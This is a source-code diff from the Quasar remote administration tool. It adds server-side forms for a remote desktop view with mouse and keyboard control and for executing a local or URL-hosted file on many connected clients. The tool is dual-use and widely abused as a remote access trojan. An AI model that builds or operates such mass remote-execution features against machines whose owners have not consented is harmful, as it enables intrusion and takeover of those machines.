AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
- CQAAAk1TRnQBSQFMAgEBAgEAAUgBAwFIAQMBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
+ CQAAAk1TRnQBSQFMAgEBAgEAAWgBBAFoAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
diff --git a/Server/Forms/FrmRemoteDesktop.Designer.cs b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs
similarity index 96%
rename from Server/Forms/FrmRemoteDesktop.Designer.cs
rename to Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs
index d95d536f4..96b8ffedc 100644
--- a/Server/Forms/FrmRemoteDesktop.Designer.cs
+++ b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs
@@ -1,4 +1,6 @@
-namespace xServer.Forms
+using Quasar.Server.Controls;
+
+namespace Quasar.Server.Forms
{
partial class FrmRemoteDesktop
{
@@ -42,7 +44,7 @@ private void InitializeComponent()
this.btnHide = new System.Windows.Forms.Button();
this.btnShow = new System.Windows.Forms.Button();
this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components);
- this.picDesktop = new xServer.Controls.RapidPictureBox();
+ this.picDesktop = new RapidPictureBox();
((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit();
this.panelTop.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit();
@@ -88,7 +90,7 @@ private void InitializeComponent()
this.lblQuality.AutoSize = true;
this.lblQuality.Location = new System.Drawing.Point(167, 5);
this.lblQuality.Name = "lblQuality";
- this.lblQuality.Size = new System.Drawing.Size(47, 13);
+ this.lblQuality.Size = new System.Drawing.Size(46, 13);
this.lblQuality.TabIndex = 4;
this.lblQuality.Text = "Quality:";
//
@@ -103,7 +105,7 @@ private void InitializeComponent()
//
// btnMouse
//
- this.btnMouse.Image = global::xServer.Properties.Resources.mouse_delete;
+ this.btnMouse.Image = global::Quasar.Server.Properties.Resources.mouse_delete;
this.btnMouse.Location = new System.Drawing.Point(302, 5);
this.btnMouse.Name = "btnMouse";
this.btnMouse.Size = new System.Drawing.Size(28, 28);
@@ -125,14 +127,14 @@ private void InitializeComponent()
this.panelTop.Controls.Add(this.btnStop);
this.panelTop.Controls.Add(this.lblQuality);
this.panelTop.Controls.Add(this.barQuality);
- this.panelTop.Location = new System.Drawing.Point(189, 0);
+ this.panelTop.Location = new System.Drawing.Point(189, -1);
this.panelTop.Name = "panelTop";
this.panelTop.Size = new System.Drawing.Size(384, 57);
this.panelTop.TabIndex = 7;
//
// btnKeyboard
//
- this.btnKeyboard.Image = global::xServer.Properties.Resources.keyboard_delete;
+ this.btnKeyboard.Image = global::Quasar.Server.Properties.Resources.keyboard_delete;
this.btnKeyboard.Location = new System.Drawing.Point(336, 5);
this.btnKeyboard.Name = "btnKeyboard";
this.btnKeyboard.Size = new System.Drawing.Size(28, 28);
@@ -165,7 +167,7 @@ private void InitializeComponent()
//
// btnShow
//
- this.btnShow.Location = new System.Drawing.Point(377, 69);
+ this.btnShow.Location = new System.Drawing.Point(0, 0);
this.btnShow.Name = "btnShow";
this.btnShow.Size = new System.Drawing.Size(54, 19);
this.btnShow.TabIndex = 8;
@@ -195,8 +197,8 @@ private void InitializeComponent()
//
// FrmRemoteDesktop
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(784, 562);
this.Controls.Add(this.btnShow);
this.Controls.Add(this.panelTop);
diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.cs b/Quasar.Server/Forms/FrmRemoteDesktop.cs
new file mode 100644
index 000000000..ea3bfaf44
--- /dev/null
+++ b/Quasar.Server/Forms/FrmRemoteDesktop.cs
@@ -0,0 +1,475 @@
+using Gma.System.MouseKeyHook;
+using Quasar.Common.Enums;
+using Quasar.Common.Helpers;
+using Quasar.Common.Messages;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Networking;
+using Quasar.Server.Utilities;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Windows.Forms;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmRemoteDesktop : Form
+ {
+ ///
+ /// States whether remote mouse input is enabled.
+ ///
+ private bool _enableMouseInput;
+
+ ///
+ /// States whether remote keyboard input is enabled.
+ ///
+ private bool _enableKeyboardInput;
+
+ ///
+ /// Holds the state of the local keyboard hooks.
+ ///
+ private IKeyboardMouseEvents _keyboardHook;
+
+ ///
+ /// Holds the state of the local mouse hooks.
+ ///
+ private IKeyboardMouseEvents _mouseHook;
+
+ ///
+ /// A list of pressed keys for synchronization between key down & -up events.
+ ///
+ private readonly List _keysPressed;
+
+ ///
+ /// The client which can be used for the remote desktop.
+ ///
+ private readonly Client _connectClient;
+
+ ///
+ /// The message handler for handling the communication with the client.
+ ///
+ private readonly RemoteDesktopHandler _remoteDesktopHandler;
+
+ ///
+ /// Holds the opened remote desktop form for each client.
+ ///
+ private static readonly Dictionary OpenedForms = new Dictionary();
+
+ ///
+ /// Creates a new remote desktop form for the client or gets the current open form, if there exists one already.
+ ///
+ /// The client used for the remote desktop form.
+ ///
+ /// Returns a new remote desktop form for the client if there is none currently open, otherwise creates a new one.
+ ///
+ public static FrmRemoteDesktop CreateNewOrGetExisting(Client client)
+ {
+ if (OpenedForms.ContainsKey(client))
+ {
+ return OpenedForms[client];
+ }
+ FrmRemoteDesktop r = new FrmRemoteDesktop(client);
+ r.Disposed += (sender, args) => OpenedForms.Remove(client);
+ OpenedForms.Add(client, r);
+ return r;
+ }
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The client used for the remote desktop form.
+ public FrmRemoteDesktop(Client client)
+ {
+ _connectClient = client;
+ _remoteDesktopHandler = new RemoteDesktopHandler(client);
+ _keysPressed = new List();
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ ///
+ /// Registers the remote desktop message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ _connectClient.ClientState += ClientDisconnected;
+ _remoteDesktopHandler.DisplaysChanged += DisplaysChanged;
+ _remoteDesktopHandler.ProgressChanged += UpdateImage;
+ MessageHandler.Register(_remoteDesktopHandler);
+ }
+
+ ///
+ /// Unregisters the remote desktop message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_remoteDesktopHandler);
+ _remoteDesktopHandler.DisplaysChanged -= DisplaysChanged;
+ _remoteDesktopHandler.ProgressChanged -= UpdateImage;
+ _connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Subscribes to local mouse and keyboard events for remote desktop input.
+ ///
+ private void SubscribeEvents()
+ {
+ // TODO: Check Hook.GlobalEvents vs Hook.AppEvents below
+ // TODO: Maybe replace library with .NET events like on Linux
+ if (PlatformHelper.RunningOnMono) // Mono/Linux
+ {
+ this.KeyDown += OnKeyDown;
+ this.KeyUp += OnKeyUp;
+ }
+ else // Windows
+ {
+ _keyboardHook = Hook.GlobalEvents();
+ _keyboardHook.KeyDown += OnKeyDown;
+ _keyboardHook.KeyUp += OnKeyUp;
+
+ _mouseHook = Hook.AppEvents();
+ _mouseHook.MouseWheel += OnMouseWheelMove;
+ }
+ }
+
+ ///
+ /// Unsubscribes from local mouse and keyboard events.
+ ///
+ private void UnsubscribeEvents()
+ {
+ if (PlatformHelper.RunningOnMono) // Mono/Linux
+ {
+ this.KeyDown -= OnKeyDown;
+ this.KeyUp -= OnKeyUp;
+ }
+ else // Windows
+ {
+ if (_keyboardHook != null)
+ {
+ _keyboardHook.KeyDown -= OnKeyDown;
+ _keyboardHook.KeyUp -= OnKeyUp;
+ _keyboardHook.Dispose();
+ }
+ if (_mouseHook != null)
+ {
+ _mouseHook.MouseWheel -= OnMouseWheelMove;
+ _mouseHook.Dispose();
+ }
+ }
+ }
+
+ ///
+ /// Starts the remote desktop stream and begin to receive desktop frames.
+ ///
+ private void StartStream()
+ {
+ ToggleConfigurationControls(true);
+
+ picDesktop.Start();
+ // Subscribe to the new frame counter.
+ picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated);
+
+ this.ActiveControl = picDesktop;
+
+ _remoteDesktopHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex);
+ }
+
+ ///
+ /// Stops the remote desktop stream.
+ ///
+ private void StopStream()
+ {
+ ToggleConfigurationControls(false);
+
+ picDesktop.Stop();
+ // Unsubscribe from the frame counter. It will be re-created when starting again.
+ picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated);
+
+ this.ActiveControl = picDesktop;
+
+ _remoteDesktopHandler.EndReceiveFrames();
+ }
+
+ ///
+ /// Toggles the activatability of configuration controls in the status/configuration panel.
+ ///
+ /// When set to true the configuration controls get enabled, otherwise they get disabled.
+ private void ToggleConfigurationControls(bool started)
+ {
+ btnStart.Enabled = !started;
+ btnStop.Enabled = started;
+ barQuality.Enabled = !started;
+ cbMonitors.Enabled = !started;
+ }
+
+ ///
+ /// Toggles the visibility of the status/configuration panel.
+ ///
+ /// Decides if the panel should be visible.
+ private void TogglePanelVisibility(bool visible)
+ {
+ panelTop.Visible = visible;
+ btnShow.Visible = !visible;
+ this.ActiveControl = picDesktop;
+ }
+
+ ///
+ /// Called whenever the remote displays changed.
+ ///
+ /// The message handler which raised the event.
+ /// The currently available displays.
+ private void DisplaysChanged(object sender, int displays)
+ {
+ cbMonitors.Items.Clear();
+ for (int i = 0; i < displays; i++)
+ cbMonitors.Items.Add($"Display {i + 1}");
+ cbMonitors.SelectedIndex = 0;
+ }
+
+ ///
+ /// Updates the current desktop image by drawing it to the desktop picturebox.
+ ///
+ /// The message handler which raised the event.
+ /// The new desktop image to draw.
+ private void UpdateImage(object sender, Bitmap bmp)
+ {
+ picDesktop.UpdateImage(bmp, false);
+ }
+
+ private void FrmRemoteDesktop_Load(object sender, EventArgs e)
+ {
+ this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient);
+
+ OnResize(EventArgs.Empty); // trigger resize event to align controls
+
+ _remoteDesktopHandler.RefreshDisplays();
+ }
+
+ ///
+ /// Updates the title with the current frames per second.
+ ///
+ /// The new frames per second.
+ private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e)
+ {
+ this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00"));
+ }
+
+ private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ // all cleanup logic goes here
+ UnsubscribeEvents();
+ if (_remoteDesktopHandler.IsStarted) StopStream();
+ UnregisterMessageHandler();
+ _remoteDesktopHandler.Dispose();
+ picDesktop.Image?.Dispose();
+ }
+
+ private void FrmRemoteDesktop_Resize(object sender, EventArgs e)
+ {
+ if (WindowState == FormWindowState.Minimized)
+ return;
+
+ _remoteDesktopHandler.LocalResolution = picDesktop.Size;
+ panelTop.Left = (this.Width - panelTop.Width) / 2;
+ btnShow.Left = (this.Width - btnShow.Width) / 2;
+ btnHide.Left = (panelTop.Width - btnHide.Width) / 2;
+ }
+
+ private void btnStart_Click(object sender, EventArgs e)
+ {
+ if (cbMonitors.Items.Count == 0)
+ {
+ MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.",
+ "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
+ return;
+ }
+
+ SubscribeEvents();
+ StartStream();
+ }
+
+ private void btnStop_Click(object sender, EventArgs e)
+ {
+ UnsubscribeEvents();
+ StopStream();
+ }
+
+ #region Remote Desktop Input
+
+ private void picDesktop_MouseDown(object sender, MouseEventArgs e)
+ {
+ if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
+ {
+ MouseAction action = MouseAction.None;
+
+ if (e.Button == MouseButtons.Left)
+ action = MouseAction.LeftDown;
+ if (e.Button == MouseButtons.Right)
+ action = MouseAction.RightDown;
+
+ int selectedDisplayIndex = cbMonitors.SelectedIndex;
+
+ _remoteDesktopHandler.SendMouseEvent(action, true, e.X, e.Y, selectedDisplayIndex);
+ }
+ }
+
+ private void picDesktop_MouseUp(object sender, MouseEventArgs e)
+ {
+ if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
+ {
+ MouseAction action = MouseAction.None;
+
+ if (e.Button == MouseButtons.Left)
+ action = MouseAction.LeftUp;
+ if (e.Button == MouseButtons.Right)
+ action = MouseAction.RightUp;
+
+ int selectedDisplayIndex = cbMonitors.SelectedIndex;
+
+ _remoteDesktopHandler.SendMouseEvent(action, false, e.X, e.Y, selectedDisplayIndex);
+ }
+ }
+
+ private void picDesktop_MouseMove(object sender, MouseEventArgs e)
+ {
+ if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
+ {
+ int selectedDisplayIndex = cbMonitors.SelectedIndex;
+
+ _remoteDesktopHandler.SendMouseEvent(MouseAction.MoveCursor, false, e.X, e.Y, selectedDisplayIndex);
+ }
+ }
+
+ private void OnMouseWheelMove(object sender, MouseEventArgs e)
+ {
+ if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
+ {
+ _remoteDesktopHandler.SendMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown,
+ false, 0, 0, cbMonitors.SelectedIndex);
+ }
+ }
+
+ private void OnKeyDown(object sender, KeyEventArgs e)
+ {
+ if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus)
+ {
+ if (!IsLockKey(e.KeyCode))
+ e.Handled = true;
+
+ if (_keysPressed.Contains(e.KeyCode))
+ return;
+
+ _keysPressed.Add(e.KeyCode);
+
+ _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, true);
+ }
+ }
+
+ private void OnKeyUp(object sender, KeyEventArgs e)
+ {
+ if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus)
+ {
+ if (!IsLockKey(e.KeyCode))
+ e.Handled = true;
+
+ _keysPressed.Remove(e.KeyCode);
+
+ _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, false);
+ }
+ }
+
+ private bool IsLockKey(Keys key)
+ {
+ return ((key & Keys.CapsLock) == Keys.CapsLock)
+ || ((key & Keys.NumLock) == Keys.NumLock)
+ || ((key & Keys.Scroll) == Keys.Scroll);
+ }
+
+ #endregion
+
+ #region Remote Desktop Configuration
+
+ private void barQuality_Scroll(object sender, EventArgs e)
+ {
+ int value = barQuality.Value;
+ lblQualityShow.Text = value.ToString();
+
+ if (value < 25)
+ lblQualityShow.Text += " (low)";
+ else if (value >= 85)
+ lblQualityShow.Text += " (best)";
+ else if (value >= 75)
+ lblQualityShow.Text += " (high)";
+ else if (value >= 25)
+ lblQualityShow.Text += " (mid)";
+
+ this.ActiveControl = picDesktop;
+ }
+
+ private void btnMouse_Click(object sender, EventArgs e)
+ {
+ if (_enableMouseInput)
+ {
+ this.picDesktop.Cursor = Cursors.Default;
+ btnMouse.Image = Properties.Resources.mouse_delete;
+ toolTipButtons.SetToolTip(btnMouse, "Enable mouse input.");
+ _enableMouseInput = false;
+ }
+ else
+ {
+ this.picDesktop.Cursor = Cursors.Hand;
+ btnMouse.Image = Properties.Resources.mouse_add;
+ toolTipButtons.SetToolTip(btnMouse, "Disable mouse input.");
+ _enableMouseInput = true;
+ }
+
+ this.ActiveControl = picDesktop;
+ }
+
+ private void btnKeyboard_Click(object sender, EventArgs e)
+ {
+ if (_enableKeyboardInput)
+ {
+ this.picDesktop.Cursor = Cursors.Default;
+ btnKeyboard.Image = Properties.Resources.keyboard_delete;
+ toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input.");
+ _enableKeyboardInput = false;
+ }
+ else
+ {
+ this.picDesktop.Cursor = Cursors.Hand;
+ btnKeyboard.Image = Properties.Resources.keyboard_add;
+ toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input.");
+ _enableKeyboardInput = true;
+ }
+
+ this.ActiveControl = picDesktop;
+ }
+
+ #endregion
+
+ private void btnHide_Click(object sender, EventArgs e)
+ {
+ TogglePanelVisibility(false);
+ }
+
+ private void btnShow_Click(object sender, EventArgs e)
+ {
+ TogglePanelVisibility(true);
+ }
+ }
+}
diff --git a/Server/Forms/FrmRemoteDesktop.resx b/Quasar.Server/Forms/FrmRemoteDesktop.resx
similarity index 100%
rename from Server/Forms/FrmRemoteDesktop.resx
rename to Quasar.Server/Forms/FrmRemoteDesktop.resx
diff --git a/Server/Forms/FrmUpdate.Designer.cs b/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs
similarity index 65%
rename from Server/Forms/FrmUpdate.Designer.cs
rename to Quasar.Server/Forms/FrmRemoteExecution.Designer.cs
index 9dd13a034..5cb040822 100644
--- a/Server/Forms/FrmUpdate.Designer.cs
+++ b/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs
@@ -1,6 +1,6 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
- partial class FrmUpdate
+ partial class FrmRemoteExecution
{
///
/// Required designer variable.
@@ -28,11 +28,10 @@ protected override void Dispose(bool disposing)
///
private void InitializeComponent()
{
- System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmUpdate));
- this.btnUpdate = new System.Windows.Forms.Button();
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteExecution));
+ this.btnExecute = new System.Windows.Forms.Button();
this.txtURL = new System.Windows.Forms.TextBox();
this.lblURL = new System.Windows.Forms.Label();
- this.lblInformation = new System.Windows.Forms.Label();
this.groupLocalFile = new System.Windows.Forms.GroupBox();
this.btnBrowse = new System.Windows.Forms.Button();
this.txtPath = new System.Windows.Forms.TextBox();
@@ -40,19 +39,23 @@ private void InitializeComponent()
this.groupURL = new System.Windows.Forms.GroupBox();
this.radioLocalFile = new System.Windows.Forms.RadioButton();
this.radioURL = new System.Windows.Forms.RadioButton();
+ this.lstTransfers = new Quasar.Server.Controls.AeroListView();
+ this.hClient = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+ this.chkUpdate = new System.Windows.Forms.CheckBox();
this.groupLocalFile.SuspendLayout();
this.groupURL.SuspendLayout();
this.SuspendLayout();
//
- // btnUpdate
+ // btnExecute
//
- this.btnUpdate.Location = new System.Drawing.Point(353, 240);
- this.btnUpdate.Name = "btnUpdate";
- this.btnUpdate.Size = new System.Drawing.Size(138, 23);
- this.btnUpdate.TabIndex = 5;
- this.btnUpdate.Text = "Update Client";
- this.btnUpdate.UseVisualStyleBackColor = true;
- this.btnUpdate.Click += new System.EventHandler(this.btnUpdate_Click);
+ this.btnExecute.Location = new System.Drawing.Point(353, 459);
+ this.btnExecute.Name = "btnExecute";
+ this.btnExecute.Size = new System.Drawing.Size(138, 23);
+ this.btnExecute.TabIndex = 6;
+ this.btnExecute.Text = "Execute remotely";
+ this.btnExecute.UseVisualStyleBackColor = true;
+ this.btnExecute.Click += new System.EventHandler(this.btnExecute_Click);
//
// txtURL
//
@@ -69,16 +72,6 @@ private void InitializeComponent()
this.lblURL.Size = new System.Drawing.Size(30, 13);
this.lblURL.TabIndex = 0;
this.lblURL.Text = "URL:";
- //
- // lblInformation
- //
- this.lblInformation.AutoSize = true;
- this.lblInformation.Location = new System.Drawing.Point(12, 231);
- this.lblInformation.Name = "lblInformation";
- this.lblInformation.Size = new System.Drawing.Size(306, 26);
- this.lblInformation.TabIndex = 4;
- this.lblInformation.Text = "Please be sure to use the same settings in your new client.\r\nMake sure the file e" +
- "xists.";
//
// groupLocalFile
//
@@ -135,10 +128,10 @@ private void InitializeComponent()
this.radioLocalFile.Checked = true;
this.radioLocalFile.Location = new System.Drawing.Point(12, 12);
this.radioLocalFile.Name = "radioLocalFile";
- this.radioLocalFile.Size = new System.Drawing.Size(140, 17);
+ this.radioLocalFile.Size = new System.Drawing.Size(110, 17);
this.radioLocalFile.TabIndex = 0;
this.radioLocalFile.TabStop = true;
- this.radioLocalFile.Text = "Update from Local File";
+ this.radioLocalFile.Text = "Execute local file";
this.radioLocalFile.UseVisualStyleBackColor = true;
this.radioLocalFile.CheckedChanged += new System.EventHandler(this.radioLocalFile_CheckedChanged);
//
@@ -147,33 +140,70 @@ private void InitializeComponent()
this.radioURL.AutoSize = true;
this.radioURL.Location = new System.Drawing.Point(12, 116);
this.radioURL.Name = "radioURL";
- this.radioURL.Size = new System.Drawing.Size(113, 17);
+ this.radioURL.Size = new System.Drawing.Size(114, 17);
this.radioURL.TabIndex = 2;
- this.radioURL.Text = "Update from URL";
+ this.radioURL.Text = "Execute from URL";
this.radioURL.UseVisualStyleBackColor = true;
this.radioURL.CheckedChanged += new System.EventHandler(this.radioURL_CheckedChanged);
//
- // FrmUpdate
- //
- this.AcceptButton = this.btnUpdate;
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
- this.ClientSize = new System.Drawing.Size(503, 275);
+ // lstTransfers
+ //
+ this.lstTransfers.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
+ | System.Windows.Forms.AnchorStyles.Left)
+ | System.Windows.Forms.AnchorStyles.Right)));
+ this.lstTransfers.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
+ this.hClient,
+ this.hStatus});
+ this.lstTransfers.FullRowSelect = true;
+ this.lstTransfers.GridLines = true;
+ this.lstTransfers.HideSelection = false;
+ this.lstTransfers.Location = new System.Drawing.Point(12, 220);
+ this.lstTransfers.Name = "lstTransfers";
+ this.lstTransfers.Size = new System.Drawing.Size(479, 233);
+ this.lstTransfers.TabIndex = 4;
+ this.lstTransfers.UseCompatibleStateImageBehavior = false;
+ this.lstTransfers.View = System.Windows.Forms.View.Details;
+ //
+ // hClient
+ //
+ this.hClient.Text = "Client";
+ this.hClient.Width = 302;
+ //
+ // hStatus
+ //
+ this.hStatus.Text = "Status";
+ this.hStatus.Width = 173;
+ //
+ // chkUpdate
+ //
+ this.chkUpdate.AutoSize = true;
+ this.chkUpdate.Location = new System.Drawing.Point(180, 463);
+ this.chkUpdate.Name = "chkUpdate";
+ this.chkUpdate.Size = new System.Drawing.Size(167, 17);
+ this.chkUpdate.TabIndex = 5;
+ this.chkUpdate.Text = "Update clients with this file";
+ this.chkUpdate.UseVisualStyleBackColor = true;
+ //
+ // FrmRemoteExecution
+ //
+ this.AcceptButton = this.btnExecute;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
+ this.ClientSize = new System.Drawing.Size(503, 494);
+ this.Controls.Add(this.chkUpdate);
+ this.Controls.Add(this.lstTransfers);
this.Controls.Add(this.radioURL);
this.Controls.Add(this.radioLocalFile);
- this.Controls.Add(this.lblInformation);
this.Controls.Add(this.groupURL);
this.Controls.Add(this.groupLocalFile);
- this.Controls.Add(this.btnUpdate);
+ this.Controls.Add(this.btnExecute);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
- this.MaximizeBox = false;
- this.MinimizeBox = false;
- this.Name = "FrmUpdate";
+ this.Name = "FrmRemoteExecution";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Update []";
- this.Load += new System.EventHandler(this.FrmUpdate_Load);
+ this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteExecution_FormClosing);
+ this.Load += new System.EventHandler(this.FrmRemoteExecution_Load);
this.groupLocalFile.ResumeLayout(false);
this.groupLocalFile.PerformLayout();
this.groupURL.ResumeLayout(false);
@@ -185,10 +215,9 @@ private void InitializeComponent()
#endregion
- private System.Windows.Forms.Button btnUpdate;
+ private System.Windows.Forms.Button btnExecute;
private System.Windows.Forms.TextBox txtURL;
private System.Windows.Forms.Label lblURL;
- private System.Windows.Forms.Label lblInformation;
private System.Windows.Forms.GroupBox groupLocalFile;
private System.Windows.Forms.TextBox txtPath;
private System.Windows.Forms.Label label1;
@@ -196,5 +225,9 @@ private void InitializeComponent()
private System.Windows.Forms.RadioButton radioLocalFile;
private System.Windows.Forms.RadioButton radioURL;
private System.Windows.Forms.Button btnBrowse;
+ private Controls.AeroListView lstTransfers;
+ private System.Windows.Forms.ColumnHeader hClient;
+ private System.Windows.Forms.ColumnHeader hStatus;
+ private System.Windows.Forms.CheckBox chkUpdate;
}
}
\ No newline at end of file
diff --git a/Quasar.Server/Forms/FrmRemoteExecution.cs b/Quasar.Server/Forms/FrmRemoteExecution.cs
new file mode 100644
index 000000000..3b8888352
--- /dev/null
+++ b/Quasar.Server/Forms/FrmRemoteExecution.cs
@@ -0,0 +1,213 @@
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Models;
+using Quasar.Server.Networking;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Windows.Forms;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmRemoteExecution : Form
+ {
+ private class RemoteExecutionMessageHandler
+ {
+ public FileManagerHandler FileHandler;
+ public TaskManagerHandler TaskHandler;
+ }
+
+ ///
+ /// The clients which can be used for the remote execution.
+ ///
+ private readonly Client[] _clients;
+
+ private readonly List _remoteExecutionMessageHandlers;
+
+ private enum TransferColumn
+ {
+ Client,
+ Status
+ }
+
+ private bool _isUpdate;
+
+ public FrmRemoteExecution(Client[] clients)
+ {
+ _clients = clients;
+ _remoteExecutionMessageHandlers = new List(clients.Length);
+
+ InitializeComponent();
+
+ foreach (var client in clients)
+ {
+ var remoteExecutionMessageHandler = new RemoteExecutionMessageHandler
+ {
+ FileHandler = new FileManagerHandler(client), TaskHandler = new TaskManagerHandler(client)
+ };
+
+ var lvi = new ListViewItem(new[]
+ {
+ $"{client.Value.Username}@{client.Value.PcName} [{client.EndPoint.Address}:{client.EndPoint.Port}]",
+ "Waiting..."
+ }) {Tag = remoteExecutionMessageHandler};
+
+ lstTransfers.Items.Add(lvi);
+ _remoteExecutionMessageHandlers.Add(remoteExecutionMessageHandler);
+ RegisterMessageHandler(remoteExecutionMessageHandler);
+ }
+ }
+
+ ///
+ /// Registers the message handlers for client communication.
+ ///
+ private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler)
+ {
+ // TODO handle disconnects
+ remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed += ProcessActionPerformed;
+ remoteExecutionMessageHandler.FileHandler.ProgressChanged += SetStatusMessage;
+ remoteExecutionMessageHandler.FileHandler.FileTransferUpdated += FileTransferUpdated;
+ MessageHandler.Register(remoteExecutionMessageHandler.FileHandler);
+ MessageHandler.Register(remoteExecutionMessageHandler.TaskHandler);
+ }
+
+ ///
+ /// Unregisters the message handlers.
+ ///
+ private void UnregisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler)
+ {
+ MessageHandler.Unregister(remoteExecutionMessageHandler.TaskHandler);
+ MessageHandler.Unregister(remoteExecutionMessageHandler.FileHandler);
+ remoteExecutionMessageHandler.FileHandler.ProgressChanged -= SetStatusMessage;
+ remoteExecutionMessageHandler.FileHandler.FileTransferUpdated -= FileTransferUpdated;
+ remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed -= ProcessActionPerformed;
+ }
+
+ private void FrmRemoteExecution_Load(object sender, EventArgs e)
+ {
+ this.Text = WindowHelper.GetWindowTitle("Remote Execution", _clients.Length);
+ }
+
+ private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ foreach (var handler in _remoteExecutionMessageHandlers)
+ {
+ UnregisterMessageHandler(handler);
+ handler.FileHandler.Dispose();
+ }
+
+ _remoteExecutionMessageHandlers.Clear();
+ lstTransfers.Items.Clear();
+ }
+
+ private void btnExecute_Click(object sender, EventArgs e)
+ {
+ _isUpdate = chkUpdate.Checked;
+
+ if (radioURL.Checked)
+ {
+ foreach (var handler in _remoteExecutionMessageHandlers)
+ {
